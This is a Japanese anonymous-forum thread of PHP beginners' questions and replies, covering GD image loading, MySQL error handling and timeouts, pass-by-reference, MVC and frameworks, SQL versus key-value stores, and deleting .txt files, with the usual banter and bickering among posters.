0705nobodyさん2010/05/18(火) 20:23:43ID:???
確かにこれは普通にやったらはまるな
wbmpなんて知らない人多いだろうし
まぁググればすぐ出てくるわけだけども
こういうときは実際にpng2wbmp関数とかでファイルを作ってみて
できたものをバイナリエディタで開いてbmpとヘッダ見比べてみればよい
07066802010/05/18(火) 20:56:50ID:???
>>703
>>704
Fatal error: Call to undefined function ImageCreateFromBMP()

其れは使いましたが、未定義の関数だとエラーがでます
つかこんなに難しいことなのか・・・・
0707nobodyさん2010/05/18(火) 21:04:34ID:???
DOMを利用して、A.xmlとB.xmlの要素数とアトリビュートを比べたい場合って
どうやったら簡単にできますか?

再帰的にノードを移動するしかない??
0708nobodyさん2010/05/18(火) 21:18:35ID:???
>>706
ちゃんと読んでるの?ていうかPHP理解してるの?
ユーザ定義関数なんだからコピペして使うにきまっとるがな
リンク先のを<?phpから?>までコピペしたのをimagecreatefrombmp.phpに保存するとして
>>695のを借りると

<?php
header('Content-type: image/jpeg');

$ext = "bmp";
$filename = "hoge.bmp";
$img = null;

switch ($ext) {
case "png":
$img = imagecreatefrompng($filename);
break;
case "gif":
$img = imagecreatefromgif($filename);
break;
case "bmp":
require_once("imagecreatefrombmp.php");
$img = ImageCreateFromBMP($filename);
}

imagejpeg($img);
imagedestroy($img);
?>

これでいけるだろ
07097082010/05/18(火) 21:19:41ID:???
breakするの忘れた
まぁ分かるよね
07106802010/05/18(火) 21:37:26ID:???
>>708
うおぉぉぉっぉおぉおおおおおおおおお!!!!!!
出来ました!!!超感動です・・・・・・・
ほんとありがとうございました・・・・
俺がアホなばっかりに出来てたことも出来ないことかのように混乱させてしまいまして申し訳ないです つД`)・゚・。・゚゚・*:.。..。.:*・゚
皆さん本当にありがとうございました・・・・・
0711nobodyさん2010/05/18(火) 21:52:45ID:???
>>710
どうでもいいが次はちゃんとつけてくれたレスに返事してね。
0712nobodyさん2010/05/19(水) 00:36:03ID:YD5CY+Hg
GDで何か図形を描いて、その図形の輪郭(辺)を残して中を塗りつぶす方法はありますか?
中の図形の座標を求めて塗りつぶす以外でお願いします。
0713nobodyさん2010/05/19(水) 03:06:28ID:???
それが座標計算よりも楽にできたら世の中のCADメーカーは首くくるしかないな
0714nobodyさん2010/05/19(水) 03:08:04ID:???
というだけだとあんまりなので、輪郭のカドが丸くなっていいのなら
元の図形を太らせて、その上に元図形をおくという方法もある。
フォントの縁取りとかするときに使ったりする
0715nobodyさん2010/05/19(水) 11:19:10ID:???
さくらインターネットでランダム表示のphpが正常に動いてくれずに書き出している場所が何も書いてない状態になります。
絵文字を出すphpが動いてくれるのになぜこれが呼び出せないのか不明です。何かわからないでしょうか?

ランダム表示のphp
<?php
$rndtxt[0] = 'あああ';
$rndtxt[1] = 'いいい';
$rndtxt[2] = 'ううう';
$weight = array(0, 0, 0, 1, 1, 2, 2, 2, 2, 2);
$num = $weight[round(rand(0, count($weight) - 1))];
print("$rndtxt[$num]");
?>

呼び出し
<!-- PHPランダム広告 ここから -->
<? include("/home/アカウント名/www/フォルダ名/php1.php"); ?>
<!-- PHPランダム広告 ここまで -->
0716nobodyさん2010/05/19(水) 11:29:48ID:???
>>715
追記
チカッパからさくらインターネットにサーバ移転しました。ドメインは同じままです。
これも原因なのでしょうか?
0717nobodyさん2010/05/19(水) 11:35:55ID:???
レベルが高すぎて、ちょっとこちらでは回答できないですね
yahoo知恵袋などで質問されることをお勧めします
0718nobodyさん2010/05/19(水) 11:40:07ID:???
ショートオープンタグかな?
0719nobodyさん2010/05/19(水) 12:16:49ID:t/z/xcK5
MySQL + PHPで質問があります!

PHPでMySQLを呼び出して表示しています
MySQLサーバーが起動していない時はこのようなエラーが出るのですが

Warning: mysql_connect() [function.mysql-connect]: Can't connect to MySQL server on 'www' (4) in index.php on line 25

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in /index.php on line 26
db connect Error

このエラーが出るとき代替文字を表示したりとは出来ないでしょうか?

例:MySQLサーバーが起動していません 等

0720nobodyさん2010/05/19(水) 12:21:53ID:???
>>719
@mysql_connect() === false の場合に分岐させるだけ
http://www.php.net/manual/ja/language.operators.errorcontrol.php
0721nobodyさん2010/05/19(水) 12:26:05ID:t/z/xcK5
>>720
素早いレスありがとうございます!

調べ不足でした・・・本当にありがとうございました!
0722nobodyさん2010/05/19(水) 12:44:43ID:t/z/xcK5
連続質問で申し訳ないのですが
mysqlサーバーが起動してない場合応答待ちなのかphpの表示がかなり遅くなります
〜秒以上応答が無ければエラーを表示したいのですが
その場合はどうすればいいのでしょうか?

調べてみましたがいまいちわかりませんでした・・・

よろしくお願いいたします
0723nobodyさん2010/05/19(水) 12:54:44ID:???
>>722
http://www.php.net/manual/ja/mysql.configuration.php#ini.mysql.connect-timeout
0724nobodyさん2010/05/19(水) 13:06:31ID:t/z/xcK5
>>723
レスありがとうございます
自分で調べたときもそれをみつけたのですが
WEBサーバーが自分の運営しているものでないとiniの設定が変えれないばかりと思ってました

ini_set()という関数があったんですね・・・
すいません・・・
0725nobodyさん2010/05/19(水) 16:29:43ID:???
pecl ←これなんて読むの?
07267252010/05/19(水) 16:30:13ID:CN/WlG3h
ID出してなかった
0727nobodyさん2010/05/19(水) 16:32:54ID:???
>>725-726
Manual :: PEAR とは?
http://pear.php.net/manual/ja/about.pear.php
0728nobodyさん2010/05/19(水) 17:18:00ID:???
ずっとペクルって読んでたわorz
0729nobodyさん2010/05/19(水) 17:34:05ID:???
>>728
2文字も合ってるじゃねーか
俺なんてついさっきまでペシルって読んでたわ
0730nobodyさん2010/05/19(水) 17:41:55ID:???
ペシルは恥ずかしいわ
0731nobodyさん2010/05/19(水) 18:03:55ID:???
>>729
そ、そうだよね!半分以上も合ってるんだもんね!
あんまりへこまないようにする><
0732nobodyさん2010/05/19(水) 18:06:17ID:???
ペシルwwwwwwwww
えんぴつかよwwwwwwwwwww
0733nobodyさん2010/05/19(水) 18:24:11ID:OTGyQjIN
$values = array(
array(32,28 , 33,28 , 36,22 , 30,22 , 32,23 , 32,21),
array()
);
$vnum = count($values);

$data = split("\n",$_POST['dots']);

for($i=0;$i<count($data);$i++){
$val = split(",",$data[$i]);
if(preg_match("!^\d+$!",$val[0]) && preg_match("!^\d+$!",$val[1])){
array_push($values[$vnum-1],$val[0]);
array_push($values[$vnum-1],$val[1]);
}
}
print_r($values);

として、3つ座標を入れてみると、
[1] => Array ( [0] => 222 [1] => 333 ) となり、最後に指定したものしか入っていません。
なぜでしょうか?わかるかたお願いします。
0734nobodyさん2010/05/19(水) 18:31:17ID:???
レベルが高すぎて、ちょっとこちらでは回答できないですね
yahoo知恵袋などで質問されることをお勧めします
0735nobodyさん2010/05/19(水) 18:42:41ID:???
改行が \r\nになってるのに \nで切ってるから、最後の値以外で \rが残ってるので matchで引っかからないんだね。
0736nobodyさん2010/05/19(水) 18:55:37ID:???
>>735
\rを置換で消したらうまくいきました!
ありがとうございます。
0737nobodyさん2010/05/19(水) 22:36:29ID:UXVN8Vtx
前から思ってたんだけどリファレンスを使うメリットって何?
配列で皆解決するのでまったく使わないんだが、裏のC言語側での挙動が違ってたりするのだろうか。
0738nobodyさん2010/05/19(水) 22:43:59ID:2BQOe4aW
データベースと連携させるマルチメニューの作り方教えてください

カテゴリー
 サブカテゴリー
  サブサブカテゴリー

こんな感じです
よろしくお願いします
0739nobodyさん2010/05/19(水) 23:38:59ID:???
>>737
配列で皆解決するならそれでいいよ。
0740nobodyさん2010/05/20(木) 06:14:12ID:???
PHPだけしかやったことないやつは参照渡しと値渡しの違いも分からないんだな。
0741nobodyさん2010/05/20(木) 18:27:27ID:???
Cだけしかやったことない人もそうだね
0742nobodyさん2010/05/20(木) 18:31:30ID:???
そんなことないだろ
値渡しは無意識に普通にやってるはずだ
参照渡しを知らないっていうケースはあるが
それは違いがわからないではなく単に知らないだけ
両方知ってるやつに限定すれば違いが分からないなんてことはないでしょう
0743nobodyさん2010/05/20(木) 18:34:02ID:???
そんな難しいものでもあるまいに、PHPしか知らなくても分かるだろ。
0744nobodyさん2010/05/20(木) 18:48:53ID:???
PHPの参照渡しは他の言語の参照渡しとはぜんぜん違う
0745nobodyさん2010/05/20(木) 18:56:31ID:???
どう違うの?
0746nobodyさん2010/05/20(木) 22:21:09ID:???
レベルが高すぎて、ちょっとこちらでは回答できないですね
yahoo知恵袋などで質問されることをお勧めします
0747nobodyさん2010/05/20(木) 22:34:44ID:???
参照渡しはPHPでしかやったことないから他はどうなってるのかしらないけど
ttp://e-words.jp/w/E58F82E785A7E6B8A1E38197.html
この文章読む限りPHPが特別とは思わないが
PHPの参照渡しがやってることはまさにここに書かれてることと同じなわけで
0748nobodyさん2010/05/20(木) 22:37:42ID:???
と思ったがまてよ・・・
>(メモリ中のアドレスなど)を渡す方式
これってようするにポインタってやつだよね?
確か昔PHPの参照渡しはコピーがうんちゃらって見たような気がしてきた
結果は同じだけど過程が違うということか
0749nobodyさん2010/05/21(金) 00:07:47ID:???
>>741
「んなアホなw」と一瞬思った。
でも、もしかしたらそうかもね。

引数としてポインタを渡してるのを、(引数渡し方の分類としての)参照渡しだと
思ってるのをちょこちょこ見かけるもんね。
0750nobodyさん2010/05/21(金) 00:18:46ID:???
>>749
うん。Cに参照渡しはないのだと、ちゃんと理解してほしい。
0751nobodyさん2010/05/21(金) 01:05:28ID:???
php 4 はオブジェクトも値渡しだったから & とか気にする必要あったけど
5以降は参照渡しになったから意識する事ないと思う。
変数とか引数では使う機会がないというか使うべきじゃない
そもそもphpのリファレンスは遅いらしいし
0752nobodyさん2010/05/21(金) 01:43:00ID:???
MVCの何がいいのかわからない。何が便利なのか?効率がいいのか?さっぱりわからない
良さを教えてください。
0753nobodyさん2010/05/21(金) 01:49:28ID:???
分からない人にはわからないからいいんですよ分からなくて
分かりたいならフレームワークでも使って必死に勉強してください
0754nobodyさん2010/05/21(金) 01:56:57ID:???
>>753
わからない人にはわからないからいい?
mvcを常用してる人ってそれで優越感を感じてるだけ?
裸の王様の取り巻き的な何かを感じる。

0755nobodyさん2010/05/21(金) 02:01:08ID:???
>>752
規模が膨れてきたりコードの保守をするようになったら分かる
責任や役割の分担なんて子供の遊びでもあるだろ

一見散らかった部屋も自分には分かりやすい
だがルールに従って整理されてれば誰にも分かりやすい
必要になったら考えれば?
0756nobodyさん2010/05/21(金) 02:11:41ID:???
>>754
あなたがどんな作り方をしているのか知りたい。
0757nobodyさん2010/05/21(金) 02:16:42ID:???
>>755
いい例えですね
ありがとうございます。
何が分かりにくいか、何がめんどくさいと思ってたか漠然とわかりました。

そのルールに慣れてなく、見難いと感じてしまってるんですね。

誰に聞いても、理解に到達する答えを貰えなかったんですが
すっきりしました。

そのmvcで作ったプログラムを引き継いで見て
mvcは見にくいし修正するのもめんどくさいと感じてしまったんです。
0758nobodyさん2010/05/21(金) 02:18:23ID:???
優越感も何もバカな質問をこんなところでしてる暇があったら勉強しろと諭してやったのに
だいたいMVCとかスレ違いもいいところ
Cakeスレでもいけよ
つうかID出さない分際でまともな回答を期待するな
0759nobodyさん2010/05/21(金) 02:38:56ID:???
>>758
技術的にはどうMVCに分けるのかとか
コード見て何をやっているのかは理解していますし、
mvcに分けてコーディングすることもできます。
ただそれが、めんどくさって思うんです。

ただそれがどういった場面で優位になるのかを知りたいのです。

他の人が見やすいというお答えをいただきましたが
見やすい人には見やすいんでしょうねと理解しました。

それ以外にも何かありますか?
0760nobodyさん2010/05/21(金) 02:51:40ID:???
質問者不在だな
0761nobodyさん2010/05/21(金) 02:54:52ID:???
SQLの利点とは何でしょうか
単純に文字列の読み書きの場合、テキストファイルから読み出し書き込みをするのと
MySQLを使って読み書きを行うのでは負荷がかなり違ったりするのでしょうか
07627612010/05/21(金) 02:57:14ID:???
解決しました。
こんなので悩んでて恥ずかしいですごめんなさい。
0763nobodyさん2010/05/21(金) 02:57:25ID:???
一人で作って全部自分で最後まで保守するっていうのなら
自分で好きなように作ればいいと思うよ。
MVCやらフレームワークの使い方を覚えて
開発するって方が非効率な場合もあるしな。

時と場合によって使い分けるべきであって、
何でもかんでもMVCで開発しろというのもおかしな話しだ。

あと既存のフレームワークはメリットも大きいけど、
逆に「自分で書いたコード」と「フレームワーク自体のコード」
この両方を保守、管理しないといけない事も自覚するべき。
0764nobodyさん2010/05/21(金) 03:00:29ID:???
見やすいっていうか管理・保守性があがるってことだろ
MVCモデルってのは分業の中核であって1人の開発じゃ特にメリットなんてない
そのモデルを実装してるのがフレームワークだが
フレームワークはラピッド開発のためのアプリケーション土台でもあるので
MVCモデルなんて意識することはなく
ラピッド開発のためにフレームワークを個人でも使うことはよくある話
MVCなんてぶっちゃけどうでもいい
普通に開発してる状態ならMVがくっついたりVCがくっつくのはよくあること
0765nobodyさん2010/05/21(金) 03:00:54ID:???
>>762
誰だよお前
0766nobodyさん2010/05/21(金) 03:02:48ID:???
>>757
そう。面倒なんだよ。
楽する為の苦労が苦でないならいいんだが

たとえば書いて表示するだけの掲示板を作ったとして
人によって
- ここにこれを表示したい
- これはこの順番
とかとか言う訳さ
- じゃあ,データは渡すからそっちで勝手にやってよ
っていう渡す先がいわゆるView

windows も xp 以降は msstyles っていうスキンみたいのがあるじゃん
V の部分が分かれてない win2k 迄はプログラム本体(explorer.exe)をいじらないと
いけなかったけど,ビューを分離させた事でいろんな見た目を実現できた
つー訳
こんなの前にも書いたな。っていうロジックを function にまとめるのと同じ
見た目の数だけコード書くなんてアホらしいだろ?

突き詰めると OOPとかデザインパターンとか最終的にはPHPは言語仕様がぬるぽ
07677612010/05/21(金) 03:04:02ID:???
>>765
あなたこそ誰なんですか?
いきなりけんか腰なんてひどくないですか?
0768nobodyさん2010/05/21(金) 03:05:29ID:???
OOPの何がいいのかわからない。何が便利なのか?効率がいいのか?さっぱりわからない
良さを教えてください。
0769nobodyさん2010/05/21(金) 03:06:17ID:???
>>767
お兄ちゃんの嘘つき!
07707612010/05/21(金) 03:06:54ID:???
>>769
アメちゃんあげるからお母さんには黙っててね
0771nobodyさん2010/05/21(金) 03:07:33ID:???
------------------------ここまで俺の自演-----------------------
0772nobodyさん2010/05/21(金) 03:12:05ID:???
>>771
あんたいつからそんな嘘つきになったの
姉ちゃんにほんとのこと言ってみな
0773nobodyさん2010/05/21(金) 03:19:19ID:???
>>761
ネタnマジレスいた島s

SQLは呼び出し側は自然言語に近い(と言っても英語だがwwwwwwww
記法で方言もあるけど基本的にはどこでも通じるし,ベタテキストを
自前で処理するよりはるかに高速に取得,集計できる
MVCの話じゃないがスタックやキャッシュじゃ無ければ
やはり専門家に預けるのが確実
0774nobodyさん2010/05/21(金) 03:24:03ID:???
>>768
PHPでOOP
http://pc11.2ch.net/test/read.cgi/php/1172205352/
0775nobodyさん2010/05/21(金) 03:29:19ID:???
>>773
単純な文字列の読み書きだといってるのにそれがマジレスでいいのか?
0776nobodyさん2010/05/21(金) 03:37:09ID:???
大きな桶の中に大量の豆がはいってるとする
この中から一個だけ取り出したい

テキストベースの場合は一個づつ見て見つける
DBの場合は摘んだやつがすでに欲しい豆

だから楽
0777nobodyさん2010/05/21(金) 03:43:53ID:???
KVSの何がいいのかわからない。何が便利なのか?効率がいいのか?さっぱりわからない
良さを教えてください。
0778nobodyさん2010/05/21(金) 03:49:58ID:???
>>776
分かりやすいな。
インデックスがあるからランダムアクセスに強いんだよな。
0779nobodyさん2010/05/21(金) 03:55:40ID:???
>>777
効率と便利は状況によりけりだと思う。
逆にその状況ではない人にとっては、まったく便利に感じない人もいる。

RDBは大量のデータを処理する際にも整合性を担保してくれるけど、
KVSはデータの永続性や整合性を保証してくれるとは限らない。
その分KVSはRDBと比べると圧倒的な性能と手軽さがある。これが効率と便利なんじゃないかな。
0780nobodyさん2010/05/21(金) 03:58:18ID:???
>>777
KVSってよくわからないけどググった感じだと同じ豆のはいった桶が一杯あって
豆を掴むごとに桶をひっくり返す感じかな

良さはわからんw
0781nobodyさん2010/05/21(金) 04:10:36ID:???
>>776
何を言っているんだろう、と思ったけど「だから楽」のところで理解した。
DBの方が早いとは限らんし、テキストファイルだとランダムアクセスが
苦手と決めるのも勘違いはなはだしいもんな。
まぁ、パフォーマンスが許されるなら楽な手段を採るのはよくあることだし
0782nobodyさん2010/05/21(金) 05:10:41ID:???
>>775
たしかに毎回丸ごと読み込んで丸ごと書き出すならテキストだな
一応予防線張ったつもりだったけど実用レベルじゃねーと思ってさ


KVSの利点は単純な分高速でスケールアウトしやすい
ただ全部を1次元ハッシュテーブルで考えるのは大変
適材適所だっp
0783nobodyさん2010/05/21(金) 05:12:59ID:???
PHPの何がいいのかわからない。何が便利なのか?効率がいいのか?さっぱりわからない
良さを教えてください。
0784nobodyさん2010/05/21(金) 05:19:10ID:???
ついにそこにきてしまったか
0785nobodyさん2010/05/21(金) 05:40:19ID:???
そういえばソースから make install して
make uninstall
ができないんだけど,前はできたはずなんだけどどうして?
0786nobodyさん2010/05/21(金) 05:53:25ID:???
>>783
何が効率的、便利なのかっていうのは他と比較しないと分からないだろ。
PHPだけしか知らないやつがそんなこと言うわけないよな。
お前は何と比較してそう言ってるわけ?
0787nobodyさん2010/05/21(金) 06:22:09ID:k01RW2ta
memcacheってこの流れではじめてしったんだけど
その辺のレン鯖には普通に入ってますか?
Perl PHP MySQLとか謳ってるとこはよくみるけど
memcachedとかはみかけたことないから使えないのかな?
一応デーモンなら接続先情報ぐらいは書いてるだろうし・・・
ポート11211で接続してみてレスポンスなかったらその鯖じゃ使えないと割り切るしかないんですかね?
phpinfoには特に情報はのってなさそうです
0788nobodyさん2010/05/21(金) 07:04:08ID:???
>>768
ハードウエアで言えば、

IC/LSIの何がいいのかわからない。何が便利なのか?効率がいいのか?さっぱりわからない
良さを教えてください。

てな感じか。
0789nobodyさん2010/05/21(金) 07:54:10ID:???
>>763
おっ
時と場合によって使い分けるってのを言ってくれた人も初めてです。
それをして良いのかいけないのかも分からなかった。

「自分で書いたコード」と「フレームワーク自体のコード」これはかなりコストですねぇ
賭けでもありますね
開発が停止になってしまったフレームワークもありますしね。

プログラムの一部が外部にあるって言うのはそういうリスクがついて回りますよね
0790nobodyさん2010/05/21(金) 08:04:36ID:???
自分で考える脳みそがないんですね
0791nobodyさん2010/05/21(金) 08:25:38ID:???
>>790
ですねぇ散々考えて何がメリットか分からなかったんで、まぁ脳みそが足りないのは認めますが

なかなか質問に的確に答えられる人がなかなかいないので
もしかしてみんな知ったかぶってステータス?プライド?のためだけにmvcやらフレームワークがいいといってるだけなのかなぁと
疑念が沸いてきちゃったのでその疑念を晴らしてくれる人がいないかなぁと思って
ここで質問させてもらいました。

結果、やはり納得できそうな説明をしていただける人がいるたので
ここで質問してよかったなぁと思いました。

持論ですが、こういった質問されてきちんと説明できる人が、本当に理解してて
切れたり、自分で調べろって言ったり、別の話をしてはぐらかす人は理解が乏しいのに分かってる振りして
自分を取り繕って苦しんでる人なんだろうなと思ってます。
0792nobodyさん2010/05/21(金) 08:38:40ID:U8/yKqa9
MVCのメリットってなんですか?
0793nobodyさん2010/05/21(金) 08:41:26ID:???
スレタイも見ないで下らん長文書いてる阿呆は帰ってね
0794nobodyさん2010/05/21(金) 09:40:14ID:???
>>649
もう解決したのかな?

> SMTP localhostになってるんで動いてると思います
これってphp.iniにそう書いたら出てるだけじゃないの?

SMTPを変えるか、XAMPP同梱のsendmail.exe使ったら?
php.iniにsendmail_pathって箇所があるから、そこをコメントアウトして、パスを書いてあげれば動いたと思うんだけどな。


0795nobodyさん2010/05/21(金) 10:32:00ID:???
>>787
共有鯖には間違いなく入ってない
占有なら自分で入れるか頼むかだろうね

>>789
バグもフレームのうちだもんな
でもMVCとFWどうこうは全然別の話だぞ
0796nobodyさん2010/05/21(金) 11:18:00ID:???
正規表現で文字列中のSTART〜ENDまでの間を抜粋したいのですが、
(?<R>START((?!START|END).|\g<R>)*END)
だとSTART〜ENDの間に改行があると検索できません。
改行も含めた検索をするにはどうすればよいでしょうか?
0797nobodyさん2010/05/21(金) 11:27:29ID:???
テンプレートエンジン使えばいいんじゃないの
かっこつけてMVCとか言うんじゃないのよ
0798nobodyさん2010/05/21(金) 11:43:37ID:???
/hogehoge/m とかmオプション使えば改行処理出来るんでない?
0799nobodyさん2010/05/21(金) 15:17:26ID:???
smarty乙
0800nobodyさん2010/05/22(土) 00:17:44ID:???
Smartyって糞遅いものだとばかり思ってたけど、生成されるコードの実行はかなり速くて驚いた。
まあ、機能が貧弱なのであまり使いたくはないが。
0801nobodyさん2010/05/22(土) 00:22:09ID:???
いくらでも拡張できるアレの機能が貧弱とはねぇ。
0802nobodyさん2010/05/22(土) 01:06:33ID:???
入力された文字にバイナリやHTMLで特殊な意味を持つ文字を適切に扱おうと次のような関数を考えました
しかしごく一部のバイナリがそのまま出力されるようです
どのようにしたら良いですか

function clean($str) {
$str = mb_convert_encoding($str,"UTF-8","UTF-8");
$str = preg_replace('/[\x00-\x08\x0b-\x0c\x0e-\x1f\x7f]/','',$str);
$str = stripslashes(htmlspecialchars($str,ENT_QUOTES,"UTF-8"));
return $str;
}
0803nobodyさん2010/05/22(土) 15:06:24ID:XHChMTdn
勝手にUrlの後ろにに/(スラッシュ)が付くんですが、こういう設定ってPHPにあるんでしょうか?
0804nobodyさん2010/05/22(土) 15:19:16ID:???
勘違いですた
0805nobodyさん2010/05/22(土) 16:25:48ID:???
>801
何でもできるというなら、
 テンプレートの継承(またはレイアウトテンプレート)と
 文脈に応じた自動エスケープ機能と
 あとマトモなHTMLとしてプレビューできる構文
を寄越せ
0806nobodyさん2010/05/22(土) 16:30:19ID:???
Smartyの話を出すと荒れるから隔離してたのに
0807nobodyさん2010/05/22(土) 16:53:47ID:???
レイアウトテンプレートは実装した。というかすぐできるし誰でもやるんじゃないかなこれは。
文脈に応じたっていうのはちょっとしんどそう。他の具体例を挙げてもらえるかな。
まともなHTMLがほしければ整形ツールでも使えば?
0808nobodyさん2010/05/22(土) 19:24:40ID:???
PHPはライブラリ自体が案外重いんだよなぁ。
0809nobodyさん2010/05/23(日) 00:38:43ID:???
テンプレートの継承が.NETのユーザコントロールみたいなの指してるんだったら俺も作った。
違うならちょっとわかんね
0810nobodyさん2010/05/23(日) 00:40:46ID:???
って書いたけど、継承という言葉とまるで関係なかったorz
自分でやったことをいいたかっただけになってるな。

まぁ、smartyを指して貧弱だというのはphpの機能自体が貧弱だといっているのと同じだよね
0811nobodyさん2010/05/23(日) 16:43:09ID:8iYZevyz
PHPってシェルスクリプトとしても使えたりします?

RubyやPythonみたいに
0812nobodyさん2010/05/23(日) 16:46:18ID:???
もちろん
0813nobodyさん2010/05/23(日) 16:51:48ID:8iYZevyz
ども。
では例えば、
Dir.glob("*.txt").each {|x| File.remove(x)}
とかってPHPだとどうやって書きます?
0814nobodyさん2010/05/23(日) 16:57:20ID:???
PHPじゃ出来ないよ
0815nobodyさん2010/05/23(日) 16:57:48ID:???
できるだろw
0816nobodyさん2010/05/23(日) 17:20:08ID:???
>Dir.glob("*.txt").each {|x| File.remove(x)}
どういう意味かわからないけど、カレントディレクトリの.txtを消すでいいかな?

【hoge.php】
<?php
$list = scandir(getcwd());
foreach ($list as $value) {
if (preg_match("/\.txt$/", $value)) {
unlink($value);
}
}
?>

【コマンド】
php -f hoge.php
0817nobodyさん2010/05/23(日) 17:29:17ID:???
glob関数があるだろ・・・おまけに文字列探索するならまだしも正規表現て
0818nobodyさん2010/05/23(日) 17:29:31ID:8iYZevyz
>>816
コードありがとうございます
こちらが例示したコードの意味はその通りです
多少冗長になるものの可能そうですね
取っ掛かりにさせてもらいます、どうもです
0819nobodyさん2010/05/23(日) 17:30:38ID:8iYZevyz
>>817
そのままの関数があるんですね、どもです
08208162010/05/23(日) 17:31:15ID:???
文字列探索だけだと.txt.phpみたいのもかかるかとおもって正規表現にした
glob関数は知りませんでした
まぁ初心者に毛が生えた程度なので勘弁してくだしあ
0821nobodyさん2010/05/23(日) 17:41:08ID:???
末尾から4文字切り取れ
0822nobodyさん2010/05/23(日) 17:47:18ID:???
.txt.jpeg
0823nobodyさん2010/05/23(日) 17:49:22ID:???
とりあえず正規表現は叩くっていうのがどうもこのスレの流れらしいな
いい加減適材適所という言葉を覚えろや
0824nobodyさん2010/05/23(日) 17:51:03ID:???
>>822
だから何なんだ。.txtかどうかを調べたいんだろ。
0825nobodyさん2010/05/23(日) 17:55:11ID:???
何なんだって末尾から4文字とかいうからだろ。
jpegを例にしただけで、mimeがplain/textだとしても他にも、
C言語のc、Perlのpl、Rubyのrbなどplain/textの拡張子が3文字とは限らないわけで。
0826nobodyさん2010/05/23(日) 17:58:44ID:???
>>825
今回の場合は .txt のみを対象にしてるわけだから 4文字でいいじゃん
そういうのを屁理屈っていうんだよ
0827nobodyさん2010/05/23(日) 17:58:58ID:???
scandirでcontent-typeまで判別できるんすかwww
0828nobodyさん2010/05/23(日) 18:00:34ID:???
>>826
イミフ

>>827
こっちもイミフ
0829nobodyさん2010/05/23(日) 18:02:59ID:???
>>826
?

>>827
できるわけがない。
>>824のレスに対してのレスなので、
jpegっていったことに関して画像は関係ないだろといわれてると思ったので、
>>825のようなレスを返しただけ。
0830nobodyさん2010/05/23(日) 18:07:31ID:???
>>829
.txtって決め打ちされてるんだからその部分まで考慮する必要はまったくない
0831nobodyさん2010/05/23(日) 18:11:09ID:???
>>829
>jpegっていったことに関して画像は関係ないだろといわれてると思ったので、
これが間違いっす^^;
0832nobodyさん2010/05/23(日) 18:13:30ID:???
末尾から4文字っていうレスに対しての突っ込みなのは理解してるのかね?
質問主のやりたいこととは無関係な話なわけだが・・・
0833nobodyさん2010/05/23(日) 18:34:06ID:???
>>825は拡張子がtxtのものだけじゃなくてtext/plainのものが対象ってなんで勝手に飛躍してんの?
>>813のどこにそんなことが書いてあるの?
0834nobodyさん2010/05/23(日) 18:35:45ID:???
>>833
お前は流れを読んでからレスをしろ
0835nobodyさん2010/05/23(日) 18:42:54ID:???
>>832
拡張子がtxtのファイルを探したい
↓
正規表現で探す
↓
文字列探索でいいだろとつっこみが入る
↓
文字列探索だけだと.txt.phpみたいのもかかるかとおもって正規表現にした
↓
末尾から4文字切り取れ

これのどの辺がおかしいのかよく分からんのだが・・・。詳しく説明してくれないか。
0836nobodyさん2010/05/23(日) 18:52:38ID:???
>>835
回答者が想定しているケースは「みたいなもの」と言ってるように.txt.phpだけではないということ。
.txt.phpだけに限れば.txtになるが、.txt.cだったら.tになる。
よって4文字と文字数を限定するのは当てにならない。
0837nobodyさん2010/05/23(日) 18:55:47ID:???
Ruby の Dir.glob を例に出されてるんなら glob() や GlobIterator、
それか泥臭くとも>>816(正規表現式は間違ってるが)と答えるな
拡張子と質問者が明示して尋ねてるのなら末尾Nバイト比較でいいが今回は余計な一言だった
0838nobodyさん2010/05/23(日) 19:01:07ID:???
一言でいうと、考えてるベクトルが違うので話がかみ合ってない。
このスレではよくあること。
0839nobodyさん2010/05/23(日) 19:02:58ID:???
誰か>>836を日本語に訳してくれ
0840nobodyさん2010/05/23(日) 19:10:50ID:???
質問者のためにもならない回答者にケチつけるだけのやつは消えてくれればそれでいいよ
0841nobodyさん2010/05/23(日) 19:47:39ID:???
元凶は流れを見ないで場当たり的にレスするやつだな
>>824が全て悪い
あと文盲は発言しなくていいからROMってろ
0842nobodyさん2010/05/23(日) 20:09:35ID:PZlPEOvW
質問が来ると住人が喧嘩を始める
0843nobodyさん2010/05/23(日) 20:13:44ID:???
System::rm('*.txt')
0844nobodyさん2010/05/23(日) 20:45:23ID:???
>>824は末尾から四文字を比較しろって言ってるだけだろ?
まあ切り取ってという表現が誤解を招いたのかな。
もう少し柔軟に解釈しろよw
0845nobodyさん2010/05/23(日) 21:15:37ID:???
>>836=>>822の言ってることは滅茶苦茶なのに誰も指摘しないのはなんで?
0846nobodyさん2010/05/23(日) 21:19:50ID:???
>>845
質問ならID出してね
0847nobodyさん2010/05/23(日) 21:27:11ID:???
>>845
意味不明すぎて指摘していいのか困惑してる
0848nobodyさん2010/05/23(日) 21:51:40ID:???
何が滅茶苦茶なのか言ってみ
0849nobodyさん2010/05/23(日) 21:54:34ID:???
>>836
切り取っての意味勘違いしてないか?
4文字切り取って".txt"かどうか比較しろってことだろ
0850nobodyさん2010/05/23(日) 22:01:48ID:???
>>844
>>>824は末尾から四文字を比較しろって言ってるだけだろ?
いいえ違います
ちゃんと流れを読んで下さい

>>816で文字列探索に正規表現なんて必要ない→

.txtという文字列があったら削除だと.txt.phpでも削除されてしまう
だから正規表現で.txtで終わるにすればいい→

それでも正規表現を使わずに末尾から4文字(.phpの部分)を切り取ればいい→

それだとtext.jpegとか.xxxが4文字でない場合はどうするの?→

以下流れを読まないやつのレスで話が異次元へ


こういう流れ
0851nobodyさん2010/05/23(日) 22:05:09ID:WeyQqAH3
>>850
真正すぎて見てられないわ
なんで >>836 で拡張子が php であるはずの .txt.php を末尾4文字を除去して txt として評価してんの?馬鹿じゃねーの?

if (substr($filename, -4) == '.txt') unlink($filename);

こうするだけだというのに何言ってんだか

0852nobodyさん2010/05/23(日) 22:08:32ID:???
>>850を叩く流れでおk?
0853nobodyさん2010/05/23(日) 22:10:38ID:???
>>851
お前が勝手にそう解釈してるだけなの
>>821のレスの真意は>>850
0854nobodyさん2010/05/23(日) 22:13:15ID:???
>>850
任意の拡張子に応用する場合のことを言ってるの?だとしても任意の拡張子の文字数数えればいいだろ。馬鹿じゃねーの?
0855nobodyさん2010/05/23(日) 22:13:57ID:???
結論:みんな馬鹿
0856nobodyさん2010/05/23(日) 22:14:03ID:???
>>853
>>821は俺だけど真意は4文字切り取って".txt"かどうか比較しろってことだよ。
0857nobodyさん2010/05/23(日) 22:14:51ID:???
>>853
勝手に解釈してるのはお前だけだよwwww
0858nobodyさん2010/05/23(日) 22:14:56ID:???
いつまでもグダグダすんのやめよーぜ。
